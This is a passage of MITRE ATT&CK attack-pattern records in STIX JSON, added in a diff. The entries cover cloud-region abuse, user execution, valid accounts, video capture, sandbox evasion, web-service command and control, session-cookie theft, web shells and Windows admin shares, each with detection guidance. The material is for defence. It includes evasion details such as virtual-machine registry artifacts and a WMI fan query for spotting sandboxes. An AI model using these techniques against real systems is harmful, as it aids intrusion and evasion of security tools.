"2017-05-31T21:30:53.408Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1065", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1065" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-17T21:08:30.100Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Stackdriver logs", + "Azure activity logs", + "AWS CloudTrail logs" + ], + "name": "Unused/Unsupported Cloud Regions", + "description": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. For example, AWS GuardDuty is not supported in every region.(Citation: AWS Region Service Table)\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)", + "id": "attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761", + "x_mitre_platforms": [ + "AWS", + "GCP", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Netskope" + ], + "created": "2019-09-04T14:35:04.617Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1535", + "url": "https://attack.mitre.org/techniques/T1535" + }, + { + "description": "Amazon. (2019, October 22). Region Table. Retrieved October 22, 2019.", + "source_name": "AWS Region Service Table", + "url": "https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/" + }, + { + "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.", + "source_name": "CloudSploit - Unused AWS Regions", + "url": "https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc" + } + ], + "modified": "2019-10-22T19:56:22.024Z" + }, + { + "x_mitre_data_sources": [ + "Anti-virus", + "Process command-line parameters", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "User Execution", + "description": "An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via [Spearphishing Link](https://attack.mitre.org/techniques/T1192) that leads to exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. \n\nAs an example, an adversary may weaponize Windows Shortcut Files (.lnk) to bait a user into clicking to execute the malicious payload.(Citation: Proofpoint TA505 June 2018) A malicious .lnk file may contain [PowerShell](https://attack.mitre.org/techniques/T1086) commands. Payloads may be included into the .lnk file itself, or be downloaded from a remote server.(Citation: FireEye APT29 Nov 2018)(Citation: PWC Cloud Hopper Technical Annex April 2017) \n\nWhile User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.", + "id": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Oleg Skulkin, Group-IB" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1204", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1204" + }, + { + "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 June 2018", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times" + }, + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2019-06-21T16:28:44.872Z" + }, + { + "x_mitre_data_sources": [ + "AWS CloudTrail logs", + "Stackdriver logs", + "Authentication logs", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "Valid Accounts", + "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access. \n\nAccounts that an adversary may use can fall into three categories: default, local, and domain accounts. Default accounts are those that are built-into an OS such as Guest or Administrator account on Windows systems or default factory/provider set accounts on other types of systems, software, or devices. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. (Citation: Microsoft Local Accounts Feb 2019) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.\n\nCompromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nDefault accounts are also not limited to Guest and Administrator on client machines, they also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or COTS. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed private keys, or stolen private keys, to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021) (Citation: Metasploit SSH Module)\n\nThe overlap of account access, credentials, and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)", + "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "modified": "2019-10-23T14:22:11.800Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure", + "SaaS", + "Office 365" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Netskope", + "Mark Wee", + "Praetorian" + ], + "created": "2017-05-31T21:31:00.645Z", + "x_mitre_effective_permissions": [ + "User", + "Administrator" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "external_references": [ + { + "external_id": "T1078", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1078" + }, + { + "source_name": "capec", + "external_id": "CAPEC-560", + "url": "https://capec.mitre.org/data/definitions/560.html" + }, + { + "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.", + "source_name": "Microsoft Local Accounts Feb 2019", + "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts" + }, + { + "description": "undefined. (n.d.). Retrieved April 12, 2019.", + "source_name": "Metasploit SSH Module", + "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh" + }, + { + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + } + ], + "x_mitre_defense_bypassed": [ + "Firewall", + "Host intrusion prevention systems", + "Network intrusion detection system", + "Process whitelisting", + "System access controls", + "Anti-virus" + ] + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "API monitoring" + ], + "name": "Video Capture", + "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)", + "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2017-05-31T21:31:37.917Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "external_references": [ + { + "external_id": "T1125", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1125" + }, + { + "source_name": "capec", + "external_id": "CAPEC-634", + "url": "https://capec.mitre.org/data/definitions/634.html" + }, + { + "source_name": "objective-see 2017 review", + "description": "Patrick Wardle. (n.d.). Retrieved March 20, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2019-07-17T21:14:04.412Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "name": "Virtualization/Sandbox Evasion", + "description": "Adversaries may check for the presence of a virtual machine environment (VME) or sandbox to avoid potential detection of tools and activities. If the adversary detects a VME, they may alter their malware to conceal the core functions of the implant or disengage from the victim. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information from learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.\n\nAdversaries may use several methods including [Security Software Discovery](https://attack.mitre.org/techniques/T1063) to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) by searching for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) to help determine if it is an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandboxes. (Citation: Unit 42 Pirpi July 2015)\n\n###Virtual Machine Environment Artifacts Discovery###\n\nAdversaries may use utilities such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1086), [Systeminfo](https://attack.mitre.org/software/S0096), and the [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, and/or the Registry. Adversaries may use [Scripting](https://attack.mitre.org/techniques/T1064) to combine these checks into one script and then have the program exit if it determines the system to be a virtual environment. Also, in applications like VMWare, adversaries can use a special I/O port to send commands and receive output. Adversaries may also check the drive size. For example, this can be done using the Win32 DeviceIOControl function. \n\nExample VME Artifacts in the Registry(Citation: McAfee Virtual Jan 2017)\n\n* HKLM\\SOFTWARE\\Oracle\\VirtualBox Guest Additions\n* HKLM\\HARDWARE\\Description\\System\\\u201dSystemBiosVersion\u201d;\u201dVMWARE\u201d\n* HKLM\\HARDWARE\\ACPI\\DSDT\\BOX_\n\nExample VME files and DLLs on the system(Citation: McAfee Virtual Jan 2017)\n\n* WINDOWS\\system32\\drivers\\vmmouse.sys \n* WINDOWS\\system32\\vboxhook.dll\n* Windows\\system32\\vboxdisp.dll\n\nCommon checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017)\n\n###User Activity Discovery###\n\nAdversaries may search for user activity on the host (e.g., browser history, cache, bookmarks, number of files in the home directories, etc.) for reassurance of an authentic environment. They might detect this type of information via user interaction and digital signatures. They may have malware check the speed and frequency of mouse clicks to determine if it\u2019s a sandboxed environment.(Citation: Sans Virtual Jan 2016) Other methods may rely on specific user interaction with the system before the malicious code is activated. Examples include waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) and waiting for a user to double click on an embedded image to activate (Citation: FireEye FIN7 April 2017).\n\n###Virtual Hardware Fingerprinting Discovery###\n\nAdversaries may check the fan and temperature of the system to gather evidence that can be indicative a virtual environment. An adversary may perform a CPU check using a WMI query $q = \u201cSelect * from Win32_Fan\u201d Get-WmiObject -Query $q. If the results of the WMI query return more than zero elements, this might tell them that the machine is a physical one. (Citation: Unit 42 OilRig Sept 2018)", + "id": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "modified": "2019-09-26T16:23:59.726Z", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Virtualization, sandbox, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Deloitte Threat Library Team", + "Sunny Neo" + ], + "created": "2019-04-17T22:22:24.505Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1497", + "url": "https://attack.mitre.org/techniques/T1497" + }, + { + "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.", + "source_name": "Unit 42 Pirpi July 2015", + "url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + }, + { + "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.", + "source_name": "McAfee Virtual Jan 2017", + "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/" + }, + { + "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.", + "source_name": "Sans Virtual Jan 2016", + "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667" + }, + { + "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019.", + "source_name": "Unit 42 Sofacy Nov 2018", + "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host forensic analysis", + "Signature-based detection", + "Static File Analysis" + ] + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Host network interface", + "Netflow/Enclave netflow", + "Network protocol analysis", + "Packet capture", + "SSL/TLS inspection" + ], + "name": "Web Service", + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nThese commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", + "modified": "2019-07-18T21:21:18.135Z", + "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "x_mitre_network_requirements": true, + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Anastasios Pingios" + ], + "created": "2017-05-31T21:31:13.915Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1102", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1102" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_defense_bypassed": [ + "Binary Analysis", + "Log analysis", + "Firewall" + ] + }, + { + "x_mitre_data_sources": [ + "Authentication logs", + "Office 365 account logs" + ], + "name": "Web Session Cookie", + "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ", + "id": "attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5", + "modified": "2019-10-17T13:21:27.306Z", + "x_mitre_platforms": [ + "Office 365", + "SaaS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Johann Rehberger" + ], + "created": "2019-10-08T20:08:56.205Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1506", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1506" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + }, + { + "description": "Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "source_name": "Unit 42 Mac Crypto Cookies January 2019", + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" + } + ], + "x_mitre_defense_bypassed": [ + "Logon Credentials", + "Multi-Factor Authentication" + ] + }, + { + "x_mitre_data_sources": [ + "Anti-virus", + "Authentication logs", + "File monitoring", + "Netflow/Enclave netflow", + "Process monitoring" + ], + "type": "attack-pattern", + "name": "Web Shell", + "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.", + "id": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file." + ], + "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:13.061Z", + "x_mitre_effective_permissions": [ + "SYSTEM", + "User" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1100", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1100" + }, + { + "source_name": "capec", + "external_id": "CAPEC-650", + "url": "https://capec.mitre.org/data/definitions/650.html" + }, + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + }, + { + "source_name": "US-CERT Alert TA15-314A Web Shells", + "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", + "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A" + } + ], + "modified": "2019-07-17T20:11:10.736Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_data_sources": [ + "Process use of network", + "Authentication logs", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Windows Admin Shares", + "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)", + "id": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "x_mitre_system_requirements": [ + "File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account." + ], + "type": "attack-pattern", + "x_mitre_detection": "Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting Lateral Movement)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:00.200Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1077", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1077" + }, + { + "source_name": "capec", + "external_id": "CAPEC-561", + "url": "https://capec.mitre.org/data/definitions/561.html" + }, + { + "source_name": "Wikipedia SMB", + "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 